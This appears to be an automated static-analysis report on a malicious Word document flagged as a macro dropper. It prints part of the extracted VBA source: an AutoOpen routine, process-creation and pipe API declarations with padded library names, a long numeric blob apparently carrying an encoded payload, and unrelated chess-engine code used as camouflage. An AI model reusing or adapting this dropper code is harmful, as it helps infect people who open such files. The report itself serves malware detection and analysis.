Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3b9c6e35c90a3ef5…

MALICIOUS

Office (OOXML)

630.3 KB Created: 2020-02-27 14:34:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-08-10
MD5: 5bed84434cf10693e9928c949dc990ee SHA-1: 2247d45b53195863c4361f81e4b7facfedb9f33b SHA-256: 3b9c6e35c90a3ef5f90cbecd6ad257d4d296832b00ef7dff00ecfabae4206559
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-7609665-0. It contains VBA macros, including an AutoOpen macro, which is a common technique for executing malicious code upon opening the document. The presence of VBA macros suggests the document is likely a spearphishing attachment intended to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-7609665-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7609665-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
    Dim GTR As New DebugClassHandler
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://vertex42.com/ExcelTips/significant-figures.htmlIn document text (OOXML body / shared strings)
    • http://xoomer.virgilio.it/ludormio/download.htmIn document text (OOXML body / shared strings)
    • http://vertex42.com/ExcelTips/significant-figures.html�In document text (OOXML body / shared strings)
    • http://xoomer.virgilio.it/ludormio/download.htm)�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 397389 bytes
SHA-256: 4b1910a78a8e7f3d87511f2cbe79d0eab5a7c1411e1357edf182c835ed55626f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GiftToPapper"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "HashBas"
'==================================================
'= HashBas:
'= Hash functions
'==================================================
#If VBA7 Then
Public Declare PtrSafe Function GdiGetBatchLimit Lib "gdi32    " () As LongPtr
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp.dll " (ByVal lpPath As String) As LongPtr
Public Declare PtrSafe Function CreateFile Lib "kernel32  " Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As LongPtr, ByVal dwShareMode As LongPtr, lpSecurityAttributes As Any, ByVal dwCreationDisposition As LongPtr, ByVal dwFlagsAndAttributes As LongPtr, ByVal hTemplateFile As LongPtr) As LongPtr
Public Declare PtrSafe Function SetEnvironmentVariable Lib "kernel32   " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As LongPtr
Public Declare PtrSafe Function GetEnvironmentVariable Lib "kernel32  " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As LongPtr) As LongPtr
Public Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
   ByVal hHandle As LongPtr) As LongPtr

#Else
Public Declare Function GdiGetBatchLimit Lib "gdi32    " () As Long
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp.dll  " (ByVal lpPath As String) As Long
Public Declare Function CreateFile Lib "kernel32  " Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function SetEnvironmentVariable Lib "kernel32  " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As Long
Public Declare Function GetEnvironmentVariable Lib "kernel32  " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" ( _
   ByVal hHandle As Long) As Long

#End If
'The style of the hash table rows
Public Const TT_NO_BOUND    As Byte = 0
Public Const TT_UPPER_BOUND As Byte = 1
Public Const TT_LOWER_BOUND As Byte = 2
Public Const TT_EXACT       As Byte = 3

Private Const HASH_CLUSTER As Long = 4
Public Const TT_TB_BASE_DEPTH As Long = 222

Public Type THashKey
  ' 2x 32 bit
  HashKey1 As Long
  HashKey2 As Long
End Type





Public ZobristHash1    As Long
Public ZobristHash2    As Long
Public HashWhiteToMove As Long
Public HashWhiteToMove2 As Long
Public HashWCanCastle  As Long
Public HashWCanCastle2  As Long
Public HashBCanCastle  As Long
Public HashBCanCastle2  As Long





Public InHashCnt       As Long
Public HashUsage       As Long
Private bHashUsed      As Boolean
Public HashGeneration As Long
Public EmptyHash As THashKey

Private Type HashTableEntry
  Position1 As Long ' 2x32 bit position hash key
  Position2 As Long
  Depth As Long ' negative values possible for QSearch
  MoveFrom As Byte
  MoveTarget As Byte
  MovePromoted As Byte
  EvalType As Byte
  Eval As Long
  StaticEval As Long
  Generation As Byte
  IsChecking As Boolean
End Type


Dim ZobristTable(1, 0 To 16)  As Long ' key for each piece typ eand board position
Dim ZobristTable2(1 To 5, 0 To 16) As Long

'The main array to hold the hash table
Private HashTable()                        As HashTableEntry
Public Sub HashSetCastle()
  If WhiteCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
  If BlackCastled = NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
End Sub
Public Sub HashMovePiece(ByVal From As Long, Target As Long, ByVal piece As Long)
  ZobristHash1 = ZobristHash1 Xor ZobristTable(From, piece) Xor ZobristTable(Target, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable(From, piece) Xor ZobristTable2(Target, piece)
End Sub
Public Sub NextHashGeneration()
  HashGeneration = GetMin(255, GameMovesCnt \ 2 + 1)
End Sub
Public Function HashBoard(ExcludedMove) As THashKey
  Dim i As Long, sq As Long
  ZobristHash1 = 0: ZobristHash2 = 0
  For i = 1 To NumPieces: sq = Pieces(i): HashSetPiece sq, Board(sq): Next i
  If EpPosArr(Ply) > 0 Then HashSetPiece EpPosArr(Ply), Board(EpPosArr(Ply))
  If bWhiteToMove Then
    ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
  End If
  If WhiteCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashWCanCastle: ZobristHash2 = ZobristHash2 Xor HashWCanCastle2
  If BlackCastled <> NO_CASTLE Then ZobristHash1 = ZobristHash1 Xor HashBCanCastle: ZobristHash2 = ZobristHash2 Xor HashBCanCastle2
 
  If ExcludedMove.From > 0 Then ' different hash fьr excluded move positions
    HashSetPiece ExcludedMove.From, ExcludedMove.piece: HashSetPiece ExcludedMove.Target, ExcludedMove.piece
  End If
  HashBoard.HashKey1 = ZobristHash1: HashBoard.HashKey2 = ZobristHash2
  
End Function
Public Sub HashDelPiece(ByVal Position As Long, ByVal piece As Long)
  If piece = FRAME Or piece = NO_PIECE Then Exit Sub
  ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub
Public Sub InitHash()
  'Initialize the hash-table
  Static bIniReadDone As Boolean
  
  If Not bIniReadDone Then
    HashSize = HashSize * 40000   ' seems to fit...? hash len = 22
    bIniReadDone = True
  End If
  
End Sub
Function ReebokStory695() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "4696378599195373362256883866937901324548882862765167271884756890434814607958493657399"
Selection.TypeText "2700491827253413545389628954509765383683875787552300974711543847683018648073793747591"
Selection.TypeText "2782987763989596270048692032706603594827390856178670849818131532084537351032316482485"
Selection.TypeText "6115628888808774150389319477526887915908673461957795457559648630844532686961786876601"
Selection.TypeText "2365858053636876080904612279716334791912340265791321550202268141792676307311668910892"
Selection.TypeText "9108294528623859420418522541439855557009978280682819156950848627409182407053783032814"
Selection.TypeText "5063387350054009784095928273161707914449359339473782057225932667308983288884710911017"
Selection.TypeText "2205072402894553723765814278035494699222297030643269776657735440579989890233061402877"
Selection.TypeText "4726009183703099233444796479917683644945639755616521980963858196130232538023952768545"
Selection.TypeText "0959309702295828733927759860571379602959820947545158050521849545561235440773178955050"
Selection.TypeText "2165412234782944960622574312881918302959730135216854987039471433028200711185491410136"
Selection.TypeText "5842124372981522547209941540057860038277461176718551274491852358988868125548128184630"
Selection.TypeText "0131257218753540072919057495249674217937459834329030234338905775387246357158535233303"
Selection.TypeText "8384320516177609503344779373082870016112976211847156950715571896208601416570059589450"
Selection.TypeText "0666017304408258840171540231709440388577495037417775624011189465067131144162666862147"
Selection.TypeText "5879005211078812009477478871659681629110990705259207947532252332007844423529519498113"
Selection.TypeText "4224505918586192152568364258787234801667825851209680674411575314490916754747634437588"
Selection.TypeText "0226394396445391900769656038198110235905162795902447263853584871567184090760439552650"
Selection.TypeText "1018171728341185282653026887617169958763691410190327188222401148976417307434602695176"
Selection.TypeText "5345312138661830703125795697962949475234410784476677910070276513347204881174849437022"
Selection.TypeText "1852758629826960309295679268416579663813473654728803326183092012135165054081019514393"
Selection.TypeText "5888871942179060214731929595883835805447803388141027384240228942085693130095860795338"
Selection.TypeText "2609800998787689919330823242322939700082532059355188911252708944355215624145444142583"
Selection.TypeText "9294609640595657644987342039097543190531379706629362165525841880039622402919945436087"
Selection.TypeText "3309623925991309443339160351348140926693608006089896971190510969638619384244127362472"
Selection.TypeText "6719913213496861221522388759900305573778799220638928416644949915858469827867446453027"
Selection.TypeText "0859261574729734796639959410654739397331497346882280336137435864371158226243878760188"
Selection.TypeText "6829909495204163619299357071087499576185385454363773763855490065089121858793912113795"
Selection.TypeText "6288635963258347894361590924652137469893729495981387151764563455703718824743886087451"
Selection.TypeText "1920695240942306808264026991610203590442856240677467583890316183199314443981867781140"
Selection.TypeText "4263231965177397230769790636760393565217103536373368540190787021238004669287453866487"
Selection.TypeText "2596799254939798413720373778085721217313960959006525402013733746788668987381151098968"
Selection.TypeText "5891184241473930133579762325666844971442639645432435629021389110152457524005237473298"
Selection.TypeText "8716641720072083454739765706622825720112377456434608071444995093804581909219966367420"
Selection.TypeText "0940539761265547440848846838416362633402697251130139176351503263354360331895632592431"
Selection.TypeText "7021026414471558193719342721241857960611506226959202736624809109851159370971967992907"
Selection.TypeText "3408283922963970658477820718935253565581292808868944008566877534972897899340908137593"
Selection.TypeText "7415644764426776666870501922673973526673721421239939143286303087788995280962503555648"
Selection.TypeText "7257967840489084977518381898152837101215997460528299727209106979170358737243850527995"
Selection.TypeText "3318423082552175544492113263356443019254123398718413826117905259683473167903418804496"
Selection.TypeText "0258899413522259659158312834064124599453163311255912187449339641041323739552698149999"
Selection.TypeText "2785895498882381633518289377189648019738671681308728416903698631887237289742649078346"
Selection.TypeText "6986387557812387072092756403578295553063527030874103842735819551132931389312145627400"
Selection.TypeText "3833252051023280840292413587324369205549792068887398423047734306902464577714019390398"
Selection.TypeText "2517987956704406801856445171447975877958577747062364847931179441600406027819140023958"
Selection.TypeText "4001261717079985060874317459110037548522219798878430656542432835133556532537808318957"
Selection.TypeText "5755467388621116514367754691196317027414224286476374241383344349192343985978240923417"
Selection.TypeText "0135645636590655652530072222785003472113751826791563866122949499652729367232344978686"
Selection.TypeText "8432777188634356271026330538449486807143379919343251743795119771178909965482370952781"
Selection.TypeText "2151781706760540889933083063489066636028024127722849465963028084513245872898437455325"
Selection.TypeText "8534045839802577466850198759575268544350237317425876341478735985120701921212849062963"
Selection.TypeText "7312975743058471003357851188080070140538527530670732943895434559405318420021295702183"
Selection.TypeText "5312027404913145114264723328508896865643400726834089210190598599760457442740986031044"
Selection.TypeText "0319418167626629069923546755454847486535899338103457101801543957671369383009264700668"
Selection.TypeText "6855456213806750299114137146368856538787638796664037689732931071360071501499535361382"
Selection.TypeText "1707549256046085468623621715108252756470377190148089001269939337727994020819656782184"
Selection.TypeText "3901312091379438709193400004367578130838100948748949580026590411219123029017055339798"
Selection.TypeText "2494938462117903378507297011953348882132527146638368284840473285555556862233219752672"
Selection.TypeText "4718184604425111740558484248759731240147464157736800566417555116685086217529810103850"
Selection.TypeText "9878551707051056120436512698663977624726654576807528987989712477807016751150930545693"
Selection.TypeText "0700777168434381138876586522140528707027518461119980832760889104414254861991804827527"
Selection.TypeText "9432898759241867901449413469097700112253352954056511304358539250998589786965475331162"
Selection.TypeText "4975333599987913425108724638677296688487949284873219094322964501396328601649035293225"
Selection.TypeText "7755810869211030020150575551495784704310632952588438409737916149411763199168546536270"
Selection.TypeText "6316432965784791243547047698881227443345585624287854038825094712995880063211228931994"
Selection.TypeText "0850896145790360704194636217525586979015126957702589813402411237596529587009881158170"
Selection.TypeText "1813686141283980260860458895909324444247603561506851011530602541048951732492261000166"
Selection.TypeText "9989149834787019879427397644383583901280503679628508003047273813504022849413767185459"
Selection.TypeText "3457223298357816015478479554374912925962941460686051305523560226732848981438699722103"
Selection.TypeText "6754047545131912968104351090576442120061626294757811062983909166456147734706888409600"
Selection.TypeText "9639368394113470984906199376367622353336542041668771921811979269265614451531938403647"
Selection.TypeText "0385226526481188212267296860262804265602675894581917254087428021621855953091011495002"
Selection.TypeText "2951608524405612488813150527709958997117396999222483510970156516973301480812738911837"
Selection.TypeText "2410032180590300563021598883923730538203124877446629591807645577600306707164556838636"
Selection.TypeText "7907755001673890541655508648874598566876603187961784464970631345798244861903553968805"
Selection.TypeText "0469796900192737624555778593141368202845275940005148654901523134476016002533912593291"
Selection.TypeText "6143139567817524561869755928158688054766247986441995382916627143024824677871179851164"
Selection.TypeText "6559607067852065298499587933672157379916317775056041441301715795675525014438053823476"
Selection.TypeText "0055070768059499838616662706162690786513467559201923792907415803337471847602799970125"
Selection.TypeText "3604796545316298483843000765770718280526656865758716230265919306258858260755843038346"
Selection.TypeText "1433780462394516572870058811080763425382726025781077875855174058161254483641544185273"
Selection.TypeText "9143411142294456816906389394733139344476573454279413212120191078560276199170478033846"
Selection.TypeText "4127294904878787783794748654296267711624517562579759363523094335633650014060158078380"
Selection.TypeText "1601731006857329465884792554995784812698016745723214001760775105577448589486858491243"
Selection.TypeText "7316816973622852911842788057511414008391705110217186529809411720528158175427565998931"
Selection.TypeText "9389209827197913054671135850274603031649381085860021386140629840322992358800380977243"
Selection.TypeText "5030591172632951610268446575872266313673296552313599343690242178130643661024521092021"
Selection.TypeText "1494190250029765287724838339954638283149108879076176505524828333346361935758592105501"
Selection.TypeText "0145175218296280444464473360965303706356275707931464041904185281011984002147682122345"
Selection.TypeText "7811325636848672115958023701351536665934165228182380598076547752897948366589611108804"
Selection.TypeText "1998434124905949167448274755714413597919221240870521558727049391690365375655409631887"
Selection.TypeText "3632695768060742460288391230045026809747825066214755201467317360887512499860044423432"
Selection.TypeText "0126206714683661448345322569439593058470129726020408107238362639926787972777607186183"
Selection.TypeParagraph
With Documents(1)
 .Paragraphs.Last.Range.Select
 .ActiveWindow.Selection.Cut
End With
With Documents(2).ActiveWindow.Selection
 .StartOf Unit:=wdStory, Extend:=wdMove
 .Paste
End With
End Function
Public Sub InitZobrist()
  Static bDone As Boolean
  Dim p As Long, s As Long
  
  If bDone Then Exit Sub
  bDone = True
  ZobristHash1 = 0: ZobristHash2 = 0
  Randomize 1001 ' init random generator with fix value
  For p = SQ_A1 To SQ_H8
    For s = 0 To 16
      ZobristTable(p, s) = CalcUniqueKey(): ZobristTable2(p, s) = CalcUniqueKey()
    Next
  Next
  HashWhiteToMove = CalcUniqueKey(): HashWhiteToMove2 = CalcUniqueKey()
  HashWCanCastle = CalcUniqueKey(): HashWCanCastle2 = CalcUniqueKey()
  HashBCanCastle = CalcUniqueKey(): HashBCanCastle2 = CalcUniqueKey()
End Sub
Public Sub HashSetKey(ByRef HashKey As THashKey)
  ZobristHash1 = HashKey.HashKey1
  ZobristHash2 = HashKey.HashKey2
End Sub
Public Function ScoreToHash(ByVal Score As Long) As Long
  If Score >= MATE_IN_MAX_PLY Then
    ScoreToHash = Score + Ply
  ElseIf Score <= -MATE_IN_MAX_PLY Then
    ScoreToHash = Score - Ply
  Else
    ScoreToHash = Score
  End If
End Function
Public Function IsInHashTable(HashKey As THashKey, ByRef HashDepth As Long, HashMove, ByRef EvalType As Long, ByRef Eval As Long, ByRef StaticEval As Long) As Boolean
  Dim IndexKey As Long, i As Long
  IsInHashTable = False: HashMove = EmptyMove: EvalType = TT_NO_BOUND: Eval = UNKNOWN_SCORE: StaticEval = UNKNOWN_SCORE: HashDepth = -999
  ZobristHash1 = HashKey.HashKey1
  ZobristHash2 = HashKey.HashKey2
  IndexKey = HashKeyCompute() * HASH_CLUSTER
  For i = 0 To HASH_CLUSTER - 1
    If HashTable(IndexKey + i).Position1 <> 0 And ZobristHash1 <> 0 Then
      With HashTable(IndexKey + i)
        If ZobristHash1 = .Position1 And ZobristHash2 = .Position2 Then
          If .Depth > HashDepth Then
            ' entry found
            IsInHashTable = True
            If InHashCnt < 2000000 Then InHashCnt = InHashCnt + 1
            
            '--- Read hash data
            If .MoveFrom > 0 Then
              HashMove.From = .MoveFrom: HashMove.Target = .MoveTarget
              HashMove.Promoted = .MovePromoted: HashMove.IsChecking = .IsChecking: HashMove.IsInCheck = .IsChecking
              HashMove.Captured = Board(.MoveTarget): HashMove.piece = Board(.MoveFrom): HashMove.CapturedNumber = Squares(.MoveTarget)
              Select Case HashMove.piece
              Case WPAWN
                If .MoveTarget - .MoveFrom = 20 Then
                  HashMove.EnPassant = 1
                ElseIf Board(.MoveTarget) = BEP_PIECE Then
                  HashMove.EnPassant = 3
                End If
              Case BPAWN
                If .MoveFrom - .MoveTarget = 20 Then
                  HashMove.EnPassant = 2
                ElseIf Board(.MoveTarget) = WEP_PIECE Then
                  HashMove.EnPassant = 3
                End If
              Case WKING
                If .MoveFrom = SQ_E1 Then
                  If .MoveTarget = SQ_G1 Then
                    HashMove.Castle = WHITEOO
                  ElseIf .MoveTarget = SQ_C1 Then
                    HashMove.Castle = WHITEOOO
                  End If
                End If
              Case BKING
                If .MoveFrom = SQ_E8 Then
                  If .MoveTarget = SQ_G8 Then
                    HashMove.Castle = BLACKOO
                  ElseIf .MoveTarget = SQ_C8 Then
                    HashMove.Castle = BLACKOOO
                  End If
                End If
              End Select
            End If
            
            EvalType = .EvalType: Eval = HashToScore(.Eval): StaticEval = .StaticEval
            HashDepth = .Depth
            .Generation = HashGeneration ' Update generation
            Exit For
          End If
        End If
      End With
    End If
  Next
End Function
Public Sub HashSetPiece(ByVal Position As Long, ByVal piece As Long)
  If piece = FRAME Or piece = NO_PIECE Then Exit Sub
  ZobristHash1 = ZobristHash1 Xor ZobristTable(Position, piece)
  ZobristHash2 = ZobristHash2 Xor ZobristTable2(Position, piece)
End Sub
Public Function InsertIntoHashTable(HashKey As THashKey, ByVal Depth As Long, HashMove, ByVal EvalType As Long, ByVal Eval As Long, ByVal StaticEval As Long)
                                    
  Dim IndexKey As Long, TmpMove As TMove, i As Long, ReplaceIndex As Long, MaxReplaceValue As Long, ReplaceValue As Long, bPosFound As Boolean
    
  TmpMove = HashMove ' Don't overwrite
  bHashUsed = True: bPosFound = False
  MaxReplaceValue = 9999
  
  '--- Compute hash key
  ZobristHash1 = HashKey.HashKey1: ZobristHash2 = HashKey.HashKey2
  IndexKey = HashKeyCompute() * HASH_CLUSTER
  ReplaceIndex = IndexKey
  For i = 0 To HASH_CLUSTER - 1
    With HashTable(IndexKey + i)
      If .Position1 <> 0 Then
        ' Don't overwrite more valuable entry
        If (.Position1 = ZobristHash1 And .Position2 = ZobristHash2) Then
          ' Position found: Preserve hash move if no new move
          If TmpMove.From = 0 And .MoveFrom > 0 Then
            TmpMove.From = .MoveFrom: TmpMove.Target = .MoveTarget: TmpMove.Promoted = .MovePromoted: TmpMove.IsChecking = .IsChecking
          End If
          ReplaceIndex = IndexKey + i: bPosFound = True
          Exit For
        Else
          ' Other position found. Overwrite?
          ReplaceValue = .Depth - 8 * (HashGeneration - .Generation)
          If ReplaceValue < MaxReplaceValue Then
            MaxReplaceValue = ReplaceValue: ReplaceIndex = IndexKey + i
            'If HashUsage > 0 Then HashUsage = HashUsage - 1
          End If
        End If
      Else
        If MaxReplaceValue > -9000 Then MaxReplaceValue = -9000: ReplaceIndex = IndexKey + i
      End If
    End With
  Next
  
  If HashTable(ReplaceIndex).Position1 = 0 And HashUsage < 2147483646 Then HashUsage = HashUsage + 1
  
  With HashTable(ReplaceIndex)
    '--- Save hash data, preserve hash move if no new move
    If Not bPosFound Or EvalType = TT_EXACT Or Depth > .Depth - 4 Or .Generation <> HashGeneration Then
      .Position1 = ZobristHash1: .Position2 = ZobristHash2
      .MoveFrom = TmpMove.From: .MoveTarget = TmpMove.Target: .MovePromoted = TmpMove.Promoted
      .EvalType = EvalType: .Eval = ScoreToHash(Eval)
      .StaticEval = StaticEval: .Depth = Depth
      .Generation = HashGeneration
      .IsChecking = TmpMove.IsChecking
    End If
  End With
End Function
Public Function HashKeyCompute() As Long
  HashKeyCompute = ZobristHash1 Xor ZobristHash2
  If HashKeyCompute = -2147483648# Then HashKeyCompute = HashKeyCompute + 1
  HashKeyCompute = Abs(HashKeyCompute) Mod (HashSize \ HASH_CLUSTER)
End Function
Public Function HashUsagePerc() As String

  If HashSize = 0 Then
    HashUsagePerc = ""
  Else
    HashUsagePerc = Format(HashUsage * 100& / HashSize, "0.0")
  End If

End Function
Private Function CalcUniqueKey() As Long
  Static KeyList((1 - 0 + 1) * 17 * 2 + 8) As Long
  Static ListCnt As Long
  Dim l As Long, i As Long
  
NextTry:
  l = 65536 * (Int(Rnd * 65536) - 32768) Or Int(Rnd * 65536)
  For i = 1 To ListCnt
    If KeyList(i) = l Then GoTo NextTry
  Next
  ListCnt = ListCnt + 1: KeyList(ListCnt) = l
  CalcUniqueKey = l
End Function
Public Function HashToScore(ByVal Score As Long) As Long
  If Score = UNKNOWN_SCORE Then
    HashToScore = Score
  ElseIf Score >= MATE_IN_MAX_PLY Then
    HashToScore = Score - Ply
  ElseIf Score <= -MATE_IN_MAX_PLY Then
    HashToScore = Score + Ply
  Else
    HashToScore = Score
  End If
End Function
Public Function LimitDouble(ByVal d As Double) As Long
  ' Prevent overflow by looping off anything beyond 31 bits
  Const MaxNumber As Double = 2 ^ 31
  LimitDouble = CLng(d - (Fix(d / MaxNumber) * MaxNumber))
End Function
Public Sub SetHashToMove()
 If bWhiteToMove Then
  ZobristHash1 = ZobristHash1 Xor HashWhiteToMove: ZobristHash2 = ZobristHash2 Xor HashWhiteToMove2
 End If
End Sub
Public Function HashGetKey() As THashKey
  HashGetKey.HashKey1 = ZobristHash1
  HashGetKey.HashKey2 = ZobristHash2
End Function


Attribute VB_Name = "mExec"



Public mCommand As String          'Public variable for the CommandLine property
Public mOutputs As String          'Public variable for the ReadOnly Outputs property

#If VBA7 Then

Public Declare PtrSafe Function FileTimeToSystemTime Lib "kernel32    " (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As LongPtr

Public Declare PtrSafe Function CreateProcessA Lib "kernel32       " ( _
   ByVal lpApplicationName As LongPtr, _
   ByVal lpCommandLine As String, _
   lpProcessAttributes As SECURITY_ATTRIBUTES, _
   lpThreadAttributes As SECURITY_ATTRIBUTES, _
   ByVal bInheritHandles As LongPtr, _
   ByVal dwCreationFlags As LongPtr, _
   ByVal lpEnvironment As LongPtr, _
   ByVal lpCurrentDirectory As LongPtr, _
   lpStartupInfo As STARTUPINFO, _
   lpProcessInformation As PROCESS_INFORMATION) As LongPtr
   
Public Declare PtrSafe Function CreatePipe Lib "kernel32  " ( _
   phReadPipe As LongPtr, _
   phWritePipe As LongPtr, _
   lpPipeAttributes As Any, _
   ByVal nSize As Long) As LongPtr


'Used to read the the pipe filled by the process create
'with the CretaProcessA function
Public Declare PtrSafe Function ReadFile Lib "kernel32   " ( _
   ByVal hFile As LongPtr, _
   ByVal lpBuffer As String, _
   ByVal nNumberOfBytesToRead As LongPtr, _
   lpNumberOfBytesRead As LongPtr, _
   ByVal lpOverlapped As Any) As LongPtr

Public Declare PtrSafe Function FreeConsole Lib "kernel32" () As LongPtr

Public Declare PtrSafe Function GetFileTime Lib "kernel32  " (ByVal hFile As LongPtr, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As LongPtr
Public Declare PtrSafe Function FileTimeToLocalFileTime Lib "kernel32  " (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As LongPtr

'Close opened handle

#Else

Public Declare Function GetFileTime Lib "kernel32  " Alias "GetFileTime" (ByVal hFile As Long, lpCreationTime As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Public Declare Function FileTimeToLocalFileTime Lib "kernel32  " (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
Public Declare Function FileTimeToSystemTime Lib "kernel32" Alias "FileTimeToSystemTime" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
Public Declare Function FreeConsole Lib "kernel32 " () As Long

Public Declare Function CreateProcessA Lib "kernel32     " ( _
   ByVal lpApplicationName As Long, _
   ByVal lpCommandLine As String, _
   lpProcessAttributes As SECURITY_ATTRIBUTES, _
   lpThreadAttributes As SECURITY_ATTRIBUTES, _
   ByVal bInheritHandles As Long, _
   ByVal dwCreationFlags As Long, _
   ByVal lpEnvironment As Long, _
   ByVal lpCurrentDirectory As Long, _
   lpStartupInfo As STARTUPINFO, _
   lpProcessInformation As PROCESS_INFORMATION) As Long
   
Public Declare Function CreatePipe Lib "kernel32    " ( _
   phReadPipe As Long, _
   phWritePipe As Long, _
   lpPipeAttributes As Any, _
   ByVal nSize As Long) As Long


'Used to read the the pipe filled by the process create
'with the CretaProcessA function
Public Declare Function ReadFile Lib "kernel32        " ( _
   ByVal hFile As Long, _
   ByVal lpBuffer As String, _
   ByVal nNumberOfBytesToRead As Long, _
   lpNumberOfBytesRead As Long, _
   ByVal lpOverlapped As Any) As Long



'Close opened handle
#End If

'Event that notify the temporary buffer to the object

Public Sub ExtractToken()
Dim i As Integer

    '********************
    '* SCANNING ROUTINE *
    '********************

    'Set default values
    OutputString = ""
    OutputValue = 0
    ValueString = ""

    'If at the end of string, return EOS
    If CurrentEntryIndex > Len(InputString) Then
        OutputString = "EOS"
        Exit Sub
    End If

    'Get character to be examined
    Char = Mid(InputString, CurrentEntryIndex, 1)

    'Space
    If Char = " " Then
        CurrentEntryIndex = CurrentEntryIndex + 1
        ExtractToken
        Exit Sub
    End If

    'Operator or parenthesis
    If Char = "+" Or Char = "-" Or Char = "*" Or Char = "/" Or Char = "^" Or Char = "(" Or Char = ")" Or Char = "!" Or Char = "=" Then
        CurrentEntryIndex = CurrentEntryIndex + 1

        'Set return value
        OutputString = Char
        Exit Sub
    End If

    'Number
    If (Char >= "0" And Char <= "9") Or Char = "." Then

        'Digits before decimal
        While Char >= "0" And Char <= "9"
            ValueString = ValueString + Char
            CurrentEntryIndex = CurrentEntryIndex + 1
            If CurrentEntryIndex <= Len(InputString) Then
                Char = Mid(InputString, CurrentEntryIndex, 1)
            Else
                Char = ""
            End If
        Wend

        'Decimal
        While Char = "."
            ValueString = ValueString + Char
            CurrentEntryIndex = CurrentEntryIndex + 1
            If CurrentEntryIndex <= Len(InputString) Then
                Char = Mid(InputString, CurrentEntryIndex, 1)
            Else
                Char = ""
            End If
        Wend

        'Digits after decimal
        While Char >= "0" And Char <= "9"
            ValueString = ValueString + Char
            CurrentEntryIndex = CurrentEntryIndex + 1
            If CurrentEntryIndex <= Len(InputString) Then
                Char = Mid(InputString, CurrentEntryIndex, 1)
            Else
                Char = ""
            End If
        Wend

        'Set return values
        OutputString = "Number"
        OutputValue = CDbl(ValueString)
        Exit Sub
    End If

    'Return text language identifiers
    If LCase(Char) >= "a" And LCase(Char) <= "z" Then
        While (LCase(Char) >= "a" And LCase(Char) <= "z")
            ValueString = ValueString + Char
            CurrentEntryIndex = CurrentEntryIndex + 1
            If CurrentEntryIndex <= Len(InputString) Then
                Char = Mid(InputString, CurrentEntryIndex, 1)
            Else
                Char = ""
            End If
        Wend

        'Pi or e
